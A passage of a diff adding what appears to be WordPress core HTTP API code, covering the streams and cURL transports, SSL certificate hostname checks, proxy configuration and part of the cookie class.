+		$is_local = isset( $r['local'] ) && $r['local'];
+		$ssl_verify = isset( $r['sslverify'] ) && $r['sslverify'];
+		if ( $is_local ) {
+			/**
+			 * Filter whether SSL should be verified for local requests.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param bool $ssl_verify Whether to verify the SSL connection. Default true.
+			 */
+			$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify );
+		} elseif ( ! $is_local ) {
+			/**
+			 * Filter whether SSL should be verified for non-local requests.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param bool $ssl_verify Whether to verify the SSL connection. Default true.
+			 */
+			$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify );
+		}
+
+		$proxy = new WP_HTTP_Proxy();
+
+		$context = stream_context_create( array(
+			'ssl' => array(
+				'verify_peer' => $ssl_verify,
+				//'CN_match' => $arrURL['host'], // This is handled by self::verify_ssl_certificate()
+				'capture_peer_cert' => $ssl_verify,
+				'SNI_enabled' => true,
+				'cafile' => $r['sslcertificates'],
+				'allow_self_signed' => ! $ssl_verify,
+			)
+		) );
+
+		$timeout = (int) floor( $r['timeout'] );
+		$utimeout = $timeout == $r['timeout'] ? 0 : 1000000 * $r['timeout'] % 1000000;
+		$connect_timeout = max( $timeout, 1 );
+
+		// Store error number.
+		$connection_error = null;
+
+		// Store error string.
+		$connection_error_str = null;
+
+		if ( !WP_DEBUG ) {
+			// In the event that the SSL connection fails, silence the many PHP Warnings.
+			if ( $secure_transport )
+				$error_reporting = error_reporting(0);
+
+			if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
+				$handle = @stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context );
+			else
+				$handle = @stream_socket_client( $connect_host . ':' . $arrURL['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context );
+
+			if ( $secure_transport )
+				error_reporting( $error_reporting );
+
+		} else {
+			if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
+				$handle = stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context );
+			else
+				$handle = stream_socket_client( $connect_host . ':' . $arrURL['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context );
+		}
+
+		if ( false === $handle ) {
+			// SSL connection failed due to expired/invalid cert, or, OpenSSL configuration is broken.
+			if ( $secure_transport && 0 === $connection_error && '' === $connection_error_str )
+				return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
+
+			return new WP_Error('http_request_failed', $connection_error . ': ' . $connection_error_str );
+		}
+
+		// Verify that the SSL certificate is valid for this request.
+		if ( $secure_transport && $ssl_verify && ! $proxy->is_enabled() ) {
+			if ( ! self::verify_ssl_certificate( $handle, $arrURL['host'] ) )
+				return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
+		}
+
+		stream_set_timeout( $handle, $timeout, $utimeout );
+
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) //Some proxies require full URL in this field.
+			$requestPath = $url;
+		else
+			$requestPath = $arrURL['path'] . ( isset($arrURL['query']) ? '?' . $arrURL['query'] : '' );
+
+		$strHeaders = strtoupper($r['method']) . ' ' . $requestPath . ' HTTP/' . $r['httpversion'] . "\r\n";
+
+		$include_port_in_host_header = (
+			( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) ||
+			( 'http'  == $arrURL['scheme'] && 80  != $arrURL['port'] ) ||
+			( 'https' == $arrURL['scheme'] && 443 != $arrURL['port'] )
+		);
+
+		if ( $include_port_in_host_header ) {
+			$strHeaders .= 'Host: ' . $arrURL['host'] . ':' . $arrURL['port'] . "\r\n";
+		} else {
+			$strHeaders .= 'Host: ' . $arrURL['host'] . "\r\n";
+		}
+
+		if ( isset($r['user-agent']) )
+			$strHeaders .= 'User-agent: ' . $r['user-agent'] . "\r\n";
+
+		if ( is_array($r['headers']) ) {
+			foreach ( (array) $r['headers'] as $header => $headerValue )
+				$strHeaders .= $header . ': ' . $headerValue . "\r\n";
+		} else {
+			$strHeaders .= $r['headers'];
+		}
+
+		if ( $proxy->use_authentication() )
+			$strHeaders .= $proxy->authentication_header() . "\r\n";
+
+		$strHeaders .= "\r\n";
+
+		if ( ! is_null($r['body']) )
+			$strHeaders .= $r['body'];
+
+		fwrite($handle, $strHeaders);
+
+		if ( ! $r['blocking'] ) {
+			stream_set_blocking( $handle, 0 );
+			fclose( $handle );
+			return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+		}
+
+		$strResponse = '';
+		$bodyStarted = false;
+		$keep_reading = true;
+		$block_size = 4096;
+		if ( isset( $r['limit_response_size'] ) )
+			$block_size = min( $block_size, $r['limit_response_size'] );
+
+		// If streaming to a file setup the file handle.
+		if ( $r['stream'] ) {
+			if ( ! WP_DEBUG )
+				$stream_handle = @fopen( $r['filename'], 'w+' );
+			else
+				$stream_handle = fopen( $r['filename'], 'w+' );
+			if ( ! $stream_handle )
+				return new WP_Error( 'http_request_failed', sprintf( __( 'Could not open handle for fopen() to %s' ), $r['filename'] ) );
+
+			$bytes_written = 0;
+			while ( ! feof($handle) && $keep_reading ) {
+				$block = fread( $handle, $block_size );
+				if ( ! $bodyStarted ) {
+					$strResponse .= $block;
+					if ( strpos( $strResponse, "\r\n\r\n" ) ) {
+						$process = WP_Http::processResponse( $strResponse );
+						$bodyStarted = true;
+						$block = $process['body'];
+						unset( $strResponse );
+						$process['body'] = '';
+					}
+				}
+
+				$this_block_size = strlen( $block );
+
+				if ( isset( $r['limit_response_size'] ) && ( $bytes_written + $this_block_size ) > $r['limit_response_size'] ) {
+					$this_block_size = ( $r['limit_response_size'] - $bytes_written );
+					$block = substr( $block, 0, $this_block_size );
+				}
+
+				$bytes_written_to_file = fwrite( $stream_handle, $block );
+
+				if ( $bytes_written_to_file != $this_block_size ) {
+					fclose( $handle );
+					fclose( $stream_handle );
+					return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
+				}
+
+				$bytes_written += $bytes_written_to_file;
+
+				$keep_reading = !isset( $r['limit_response_size'] ) || $bytes_written < $r['limit_response_size'];
+			}
+
+			fclose( $stream_handle );
+
+		} else {
+			$header_length = 0;
+			while ( ! feof( $handle ) && $keep_reading ) {
+				$block = fread( $handle, $block_size );
+				$strResponse .= $block;
+				if ( ! $bodyStarted && strpos( $strResponse, "\r\n\r\n" ) ) {
+					$header_length = strpos( $strResponse, "\r\n\r\n" ) + 4;
+					$bodyStarted = true;
+				}
+				$keep_reading = ( ! $bodyStarted || !isset( $r['limit_response_size'] ) || strlen( $strResponse ) < ( $header_length + $r['limit_response_size'] ) );
+			}
+
+			$process = WP_Http::processResponse( $strResponse );
+			unset( $strResponse );
+
+		}
+
+		fclose( $handle );
+
+		$arrHeaders = WP_Http::processHeaders( $process['headers'], $url );
+
+		$response = array(
+			'headers' => $arrHeaders['headers'],
+			// Not yet processed.
+			'body' => null,
+			'response' => $arrHeaders['response'],
+			'cookies' => $arrHeaders['cookies'],
+			'filename' => $r['filename']
+		);
+
+		// Handle redirects.
+		if ( false !== ( $redirect_response = WP_HTTP::handle_redirects( $url, $r, $response ) ) )
+			return $redirect_response;
+
+		// If the body was chunk encoded, then decode it.
+		if ( ! empty( $process['body'] ) && isset( $arrHeaders['headers']['transfer-encoding'] ) && 'chunked' == $arrHeaders['headers']['transfer-encoding'] )
+			$process['body'] = WP_Http::chunkTransferDecode($process['body']);
+
+		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($arrHeaders['headers']) )
+			$process['body'] = WP_Http_Encoding::decompress( $process['body'] );
+
+		if ( isset( $r['limit_response_size'] ) && strlen( $process['body'] ) > $r['limit_response_size'] )
+			$process['body'] = substr( $process['body'], 0, $r['limit_response_size'] );
+
+		$response['body'] = $process['body'];
+
+		return $response;
+	}
+
+	/**
+	 * Verifies the received SSL certificate against it's Common Names and subjectAltName fields
+	 *
+	 * PHP's SSL verifications only verify that it's a valid Certificate, it doesn't verify if
+	 * the certificate is valid for the hostname which was requested.
+	 * This function verifies the requested hostname against certificate's subjectAltName field,
+	 * if that is empty, or contains no DNS entries, a fallback to the Common Name field is used.
+	 *
+	 * IP Address support is included if the request is being made to an IP address.
+	 *
+	 * @since 3.7.0
+	 * @static
+	 *
+	 * @param stream $stream The PHP Stream which the SSL request is being made over
+	 * @param string $host The hostname being requested
+	 * @return bool If the cerficiate presented in $stream is valid for $host
+	 */
+	public static function verify_ssl_certificate( $stream, $host ) {
+		$context_options = stream_context_get_options( $stream );
+
+		if ( empty( $context_options['ssl']['peer_certificate'] ) )
+			return false;
+
+		$cert = openssl_x509_parse( $context_options['ssl']['peer_certificate'] );
+		if ( ! $cert )
+			return false;
+
+		/*
+		 * If the request is being made to an IP address, we'll validate against IP fields
+		 * in the cert (if they exist)
+		 */
+		$host_type = ( WP_HTTP::is_ip_address( $host ) ? 'ip' : 'dns' );
+
+		$certificate_hostnames = array();
+		if ( ! empty( $cert['extensions']['subjectAltName'] ) ) {
+			$match_against = preg_split( '/,\s*/', $cert['extensions']['subjectAltName'] );
+			foreach ( $match_against as $match ) {
+				list( $match_type, $match_host ) = explode( ':', $match );
+				if ( $host_type == strtolower( trim( $match_type ) ) ) // IP: or DNS:
+					$certificate_hostnames[] = strtolower( trim( $match_host ) );
+			}
+		} elseif ( !empty( $cert['subject']['CN'] ) ) {
+			// Only use the CN when the certificate includes no subjectAltName extension.
+			$certificate_hostnames[] = strtolower( $cert['subject']['CN'] );
+		}
+
+		// Exact hostname/IP matches.
+		if ( in_array( strtolower( $host ), $certificate_hostnames ) )
+			return true;
+
+		// IP's can't be wildcards, Stop processing.
+		if ( 'ip' == $host_type )
+			return false;
+
+		// Test to see if the domain is at least 2 deep for wildcard support.
+		if ( substr_count( $host, '.' ) < 2 )
+			return false;
+
+		// Wildcard subdomains certs (*.example.com) are valid for a.example.com but not a.b.example.com.
+		$wildcard_host = preg_replace( '/^[^.]+\./', '*.', $host );
+
+		return in_array( strtolower( $wildcard_host ), $certificate_hostnames );
+	}
+
+	/**
+	 * Whether this class can be used for retrieving a URL.
+	 *
+	 * @static
+	 * @access public
+	 * @since 2.7.0
+	 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
+	 *
+	 * @return boolean False means this class can not be used, true means it can.
+	 */
+	public static function test( $args = array() ) {
+		if ( ! function_exists( 'stream_socket_client' ) )
+			return false;
+
+		$is_ssl = isset( $args['ssl'] ) && $args['ssl'];
+
+		if ( $is_ssl ) {
+			if ( ! extension_loaded( 'openssl' ) )
+				return false;
+			if ( ! function_exists( 'openssl_x509_parse' ) )
+				return false;
+		}
+
+		/**
+		 * Filter whether streams can be used as a transport for retrieving a URL.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param bool  $use_class Whether the class can be used. Default true.
+		 * @param array $args      Request arguments.
+		 */
+		return apply_filters( 'use_streams_transport', true, $args );
+	}
+}
+
+/**
+ * Deprecated HTTP Transport method which used fsockopen.
+ *
+ * This class is not used, and is included for backwards compatibility only.
+ * All code should make use of WP_HTTP directly through it's API.
+ *
+ * @see WP_HTTP::request
+ *
+ * @since 2.7.0
+ * @deprecated 3.7.0 Please use WP_HTTP::request() directly
+ */
+class WP_HTTP_Fsockopen extends WP_HTTP_Streams {
+	// For backwards compatibility for users who are using the class directly.
+}
+
+/**
+ * HTTP request method uses Curl extension to retrieve the url.
+ *
+ * Requires the Curl extension to be installed.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+class WP_Http_Curl {
+
+	/**
+	 * Temporary header storage for during requests.
+	 *
+	 * @since 3.2.0
+	 * @access private
+	 * @var string
+	 */
+	private $headers = '';
+
+	/**
+	 * Temporary body storage for during requests.
+	 *
+	 * @since 3.6.0
+	 * @access private
+	 * @var string
+	 */
+	private $body = '';
+
+	/**
+	 * The maximum amount of data to receive from the remote server.
+	 *
+	 * @since 3.6.0
+	 * @access private
+	 * @var int
+	 */
+	private $max_body_length = false;
+
+	/**
+	 * The file resource used for streaming to file.
+	 *
+	 * @since 3.6.0
+	 * @access private
+	 * @var resource
+	 */
+	private $stream_handle = false;
+
+	/**
+	 * The total bytes written in the current request.
+	 *
+	 * @since 4.1.0
+	 * @access private
+	 * @var int
+	 */
+	private $bytes_written_total = 0;
+
+	/**
+	 * Send a HTTP request to a URI using cURL extension.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function request($url, $args = array()) {
+		$defaults = array(
+			'method' => 'GET', 'timeout' => 5,
+			'redirection' => 5, 'httpversion' => '1.0',
+			'blocking' => true,
+			'headers' => array(), 'body' => null, 'cookies' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		if ( isset($r['headers']['User-Agent']) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset($r['headers']['User-Agent']);
+		} else if ( isset($r['headers']['user-agent']) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset($r['headers']['user-agent']);
+		}
+
+		// Construct Cookie: header if any cookies are set.
+		WP_Http::buildCookieHeader( $r );
+
+		$handle = curl_init();
+
+		// cURL offers really easy proxy support.
+		$proxy = new WP_HTTP_Proxy();
+
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
+
+			curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP );
+			curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() );
+			curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() );
+
+			if ( $proxy->use_authentication() ) {
+				curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY );
+				curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() );
+			}
+		}
+
+		$is_local = isset($r['local']) && $r['local'];
+		$ssl_verify = isset($r['sslverify']) && $r['sslverify'];
+		if ( $is_local ) {
+			/** This filter is documented in wp-includes/class-http.php */
+			$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify );
+		} elseif ( ! $is_local ) {
+			/** This filter is documented in wp-includes/class-http.php */
+			$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify );
+		}
+
+		/*
+		 * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since.
+		 * a value of 0 will allow an unlimited timeout.
+		 */
+		$timeout = (int) ceil( $r['timeout'] );
+		curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout );
+		curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout );
+
+		curl_setopt( $handle, CURLOPT_URL, $url);
+		curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
+		curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( $ssl_verify === true ) ? 2 : false );
+		curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify );
+		curl_setopt( $handle, CURLOPT_CAINFO, $r['sslcertificates'] );
+		curl_setopt( $handle, CURLOPT_USERAGENT, $r['user-agent'] );
+
+		/*
+		 * The option doesn't work with safe mode or when open_basedir is set, and there's
+		 * a bug #17490 with redirected POST requests, so handle redirections outside Curl.
+		 */
+		curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false );
+		if ( defined( 'CURLOPT_PROTOCOLS' ) ) // PHP 5.2.10 / cURL 7.19.4
+			curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS );
+
+		switch ( $r['method'] ) {
+			case 'HEAD':
+				curl_setopt( $handle, CURLOPT_NOBODY, true );
+				break;
+			case 'POST':
+				curl_setopt( $handle, CURLOPT_POST, true );
+				curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
+				break;
+			case 'PUT':
+				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' );
+				curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
+				break;
+			default:
+				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $r['method'] );
+				if ( ! is_null( $r['body'] ) )
+					curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
+				break;
+		}
+
+		if ( true === $r['blocking'] ) {
+			curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) );
+			curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) );
+		}
+
+		curl_setopt( $handle, CURLOPT_HEADER, false );
+
+		if ( isset( $r['limit_response_size'] ) )
+			$this->max_body_length = intval( $r['limit_response_size'] );
+		else
+			$this->max_body_length = false;
+
+		// If streaming to a file open a file handle, and setup our curl streaming handler.
+		if ( $r['stream'] ) {
+			if ( ! WP_DEBUG )
+				$this->stream_handle = @fopen( $r['filename'], 'w+' );
+			else
+				$this->stream_handle = fopen( $r['filename'], 'w+' );
+			if ( ! $this->stream_handle )
+				return new WP_Error( 'http_request_failed', sprintf( __( 'Could not open handle for fopen() to %s' ), $r['filename'] ) );
+		} else {
+			$this->stream_handle = false;
+		}
+
+		if ( !empty( $r['headers'] ) ) {
+			// cURL expects full header strings in each element.
+			$headers = array();
+			foreach ( $r['headers'] as $name => $value ) {
+				$headers[] = "{$name}: $value";
+			}
+			curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers );
+		}
+
+		if ( $r['httpversion'] == '1.0' )
+			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 );
+		else
+			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 );
+
+		/**
+		 * Fires before the cURL request is executed.
+		 *
+		 * Cookies are not currently handled by the HTTP API. This action allows
+		 * plugins to handle cookies themselves.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param resource &$handle The cURL handle returned by curl_init().
+		 * @param array    $r       The HTTP request arguments.
+		 * @param string   $url     The request URL.
+		 */
+		do_action_ref_array( 'http_api_curl', array( &$handle, $r, $url ) );
+
+		// We don't need to return the body, so don't. Just execute request and return.
+		if ( ! $r['blocking'] ) {
+			curl_exec( $handle );
+
+			if ( $curl_error = curl_error( $handle ) ) {
+				curl_close( $handle );
+				return new WP_Error( 'http_request_failed', $curl_error );
+			}
+			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ) ) ) {
+				curl_close( $handle );
+				return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
+			}
+
+			curl_close( $handle );
+			return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+		}
+
+		curl_exec( $handle );
+		$theHeaders = WP_Http::processHeaders( $this->headers, $url );
+		$theBody = $this->body;
+		$bytes_written_total = $this->bytes_written_total;
+
+		$this->headers = '';
+		$this->body = '';
+		$this->bytes_written_total = 0;
+
+		$curl_error = curl_errno( $handle );
+
+		// If an error occurred, or, no response.
+		if ( $curl_error || ( 0 == strlen( $theBody ) && empty( $theHeaders['headers'] ) ) ) {
+			if ( CURLE_WRITE_ERROR /* 23 */ == $curl_error && $r['stream'] ) {
+				if ( ! $this->max_body_length || $this->max_body_length != $bytes_written_total ) {
+					fclose( $this->stream_handle );
+					return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
+				}
+			} else {
+				if ( $curl_error = curl_error( $handle ) ) {
+					curl_close( $handle );
+					return new WP_Error( 'http_request_failed', $curl_error );
+				}
+			}
+			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ) ) ) {
+				curl_close( $handle );
+				return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
+			}
+		}
+
+		curl_close( $handle );
+
+		if ( $r['stream'] )
+			fclose( $this->stream_handle );
+
+		$response = array(
+			'headers' => $theHeaders['headers'],
+			'body' => null,
+			'response' => $theHeaders['response'],
+			'cookies' => $theHeaders['cookies'],
+			'filename' => $r['filename']
+		);
+
+		// Handle redirects.
+		if ( false !== ( $redirect_response = WP_HTTP::handle_redirects( $url, $r, $response ) ) )
+			return $redirect_response;
+
+		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($theHeaders['headers']) )
+			$theBody = WP_Http_Encoding::decompress( $theBody );
+
+		$response['body'] = $theBody;
+
+		return $response;
+	}
+
+	/**
+	 * Grab the headers of the cURL request
+	 *
+	 * Each header is sent individually to this callback, so we append to the $header property for temporary storage
+	 *
+	 * @since 3.2.0
+	 * @access private
+	 * @return int
+	 */
+	private function stream_headers( $handle, $headers ) {
+		$this->headers .= $headers;
+		return strlen( $headers );
+	}
+
+	/**
+	 * Grab the body of the cURL request
+	 *
+	 * The contents of the document are passed in chunks, so we append to the $body property for temporary storage.
+	 * Returning a length shorter than the length of $data passed in will cause cURL to abort the request with CURLE_WRITE_ERROR
+	 *
+	 * @since 3.6.0
+	 * @access private
+	 * @return int
+	 */
+	private function stream_body( $handle, $data ) {
+		$data_length = strlen( $data );
+
+		if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) {
+			$data_length = ( $this->max_body_length - $this->bytes_written_total );
+			$data = substr( $data, 0, $data_length );
+		}
+
+		if ( $this->stream_handle ) {
+			$bytes_written = fwrite( $this->stream_handle, $data );
+		} else {
+			$this->body .= $data;
+			$bytes_written = $data_length;
+		}
+
+		$this->bytes_written_total += $bytes_written;
+
+		// Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR.
+		return $bytes_written;
+	}
+
+	/**
+	 * Whether this class can be used for retrieving an URL.
+	 *
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @return boolean False means this class can not be used, true means it can.
+	 */
+	public static function test( $args = array() ) {
+		if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) )
+			return false;
+
+		$is_ssl = isset( $args['ssl'] ) && $args['ssl'];
+
+		if ( $is_ssl ) {
+			$curl_version = curl_version();
+			// Check whether this cURL version support SSL requests.
+			if ( ! (CURL_VERSION_SSL & $curl_version['features']) )
+				return false;
+		}
+
+		/**
+		 * Filter whether cURL can be used as a transport for retrieving a URL.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param bool  $use_class Whether the class can be used. Default true.
+		 * @param array $args      An array of request arguments.
+		 */
+		return apply_filters( 'use_curl_transport', true, $args );
+	}
+}
+
+/**
+ * Adds Proxy support to the WordPress HTTP API.
+ *
+ * There are caveats to proxy support. It requires that defines be made in the wp-config.php file to
+ * enable proxy support. There are also a few filters that plugins can hook into for some of the
+ * constants.
+ *
+ * Please note that only BASIC authentication is supported by most transports.
+ * cURL MAY support more methods (such as NTLM authentication) depending on your environment.
+ *
+ * The constants are as follows:
+ * <ol>
+ * <li>WP_PROXY_HOST - Enable proxy support and host for connecting.</li>
+ * <li>WP_PROXY_PORT - Proxy port for connection. No default, must be defined.</li>
+ * <li>WP_PROXY_USERNAME - Proxy username, if it requires authentication.</li>
+ * <li>WP_PROXY_PASSWORD - Proxy password, if it requires authentication.</li>
+ * <li>WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy.
+ * You do not need to have localhost and the blog host in this list, because they will not be passed
+ * through the proxy. The list should be presented in a comma separated list, wildcards using * are supported, eg. *.wordpress.org</li>
+ * </ol>
+ *
+ * An example can be as seen below.
+ *
+ *     define('WP_PROXY_HOST', '192.168.84.101');
+ *     define('WP_PROXY_PORT', '8080');
+ *     define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com, *.wordpress.org');
+ *
+ * @link https://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress.
+ * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_PROXY_BYPASS_HOSTS
+ * @since 2.8.0
+ */
+class WP_HTTP_Proxy {
+
+	/**
+	 * Whether proxy connection should be used.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @use WP_PROXY_HOST
+	 * @use WP_PROXY_PORT
+	 *
+	 * @return bool
+	 */
+	public function is_enabled() {
+		return defined('WP_PROXY_HOST') && defined('WP_PROXY_PORT');
+	}
+
+	/**
+	 * Whether authentication should be used.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @use WP_PROXY_USERNAME
+	 * @use WP_PROXY_PASSWORD
+	 *
+	 * @return bool
+	 */
+	public function use_authentication() {
+		return defined('WP_PROXY_USERNAME') && defined('WP_PROXY_PASSWORD');
+	}
+
+	/**
+	 * Retrieve the host for the proxy server.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function host() {
+		if ( defined('WP_PROXY_HOST') )
+			return WP_PROXY_HOST;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve the port for the proxy server.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function port() {
+		if ( defined('WP_PROXY_PORT') )
+			return WP_PROXY_PORT;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve the username for proxy authentication.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function username() {
+		if ( defined('WP_PROXY_USERNAME') )
+			return WP_PROXY_USERNAME;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve the password for proxy authentication.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function password() {
+		if ( defined('WP_PROXY_PASSWORD') )
+			return WP_PROXY_PASSWORD;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve authentication string for proxy authentication.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function authentication() {
+		return $this->username() . ':' . $this->password();
+	}
+
+	/**
+	 * Retrieve header string for proxy authentication.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function authentication_header() {
+		return 'Proxy-Authorization: Basic ' . base64_encode( $this->authentication() );
+	}
+
+	/**
+	 * Whether URL should be sent through the proxy server.
+	 *
+	 * We want to keep localhost and the blog URL from being sent through the proxy server, because
+	 * some proxies can not handle this. We also have the constant available for defining other
+	 * hosts that won't be sent through the proxy.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $uri URI to check.
+	 * @return bool True, to send through the proxy and false if, the proxy should not be used.
+	 */
+	public function send_through_proxy( $uri ) {
+		/*
+		 * parse_url() only handles http, https type URLs, and will emit E_WARNING on failure.
+		 * This will be displayed on blogs, which is not reasonable.
+		 */
+		$check = @parse_url($uri);
+
+		// Malformed URL, can not process, but this could mean ssl, so let through anyway.
+		if ( $check === false )
+			return true;
+
+		$home = parse_url( get_option('siteurl') );
+
+		/**
+		 * Filter whether to preempt sending the request through the proxy server.
+		 *
+		 * Returning false will bypass the proxy; returning true will send
+		 * the request through the proxy. Returning null bypasses the filter.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param null   $override Whether to override the request result. Default null.
+		 * @param string $uri      URL to check.
+		 * @param array  $check    Associative array result of parsing the URI.
+		 * @param array  $home     Associative array result of parsing the site URL.
+		 */
+		$result = apply_filters( 'pre_http_send_through_proxy', null, $uri, $check, $home );
+		if ( ! is_null( $result ) )
+			return $result;
+
+		if ( 'localhost' == $check['host'] || ( isset( $home['host'] ) && $home['host'] == $check['host'] ) )
+			return false;
+
+		if ( !defined('WP_PROXY_BYPASS_HOSTS') )
+			return true;
+
+		static $bypass_hosts;
+		static $wildcard_regex = false;
+		if ( null == $bypass_hosts ) {
+			$bypass_hosts = preg_split('|,\s*|', WP_PROXY_BYPASS_HOSTS);
+
+			if ( false !== strpos(WP_PROXY_BYPASS_HOSTS, '*') ) {
+				$wildcard_regex = array();
+				foreach ( $bypass_hosts as $host )
+					$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
+				$wildcard_regex = '/^(' . implode('|', $wildcard_regex) . ')$/i';
+			}
+		}
+
+		if ( !empty($wildcard_regex) )
+			return !preg_match($wildcard_regex, $check['host']);
+		else
+			return !in_array( $check['host'], $bypass_hosts );
+	}
+}
+/**
+ * Internal representation of a single cookie.
+ *
+ * Returned cookies are represented using this class, and when cookies are set, if they are not
+ * already a WP_Http_Cookie() object, then they are turned into one.
+ *
+ * @todo The WordPress convention is to use underscores instead of camelCase for function and method
+ * names. Need to switch to use underscores instead for the methods.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.8.0
+ */
+class WP_Http_Cookie {
+
+	/**
+	 * Cookie name.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * Cookie value.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $value;
+
+	/**
+	 * When the cookie expires.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $expires;
+
+	/**
+	 * Cookie URL path.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $path;
+
+	/**
+	 * Cookie Domain.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $domain;
+
+	/**
+	 * Sets up this cookie object.
+	 *
+	 * The parameter $data should be either an associative array containing the indices names below
+	 * or a header string detailing it.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param string|array $data {
+	 *     Raw cookie data as header string or data array.
+	 *
+	 *     @type string     $name    Cookie name.
+	 *     @type mixed      $value   Value. Should NOT already be urlencoded.
+	 *     @type string|int $expires Optional. Unix timestamp or formatted date. Default null.
+	 *     @type string     $path    Optional. Path. Default '/'.
+	 *     @type string     $domain  Optional. Domain. Default host of parsed $requested_url.
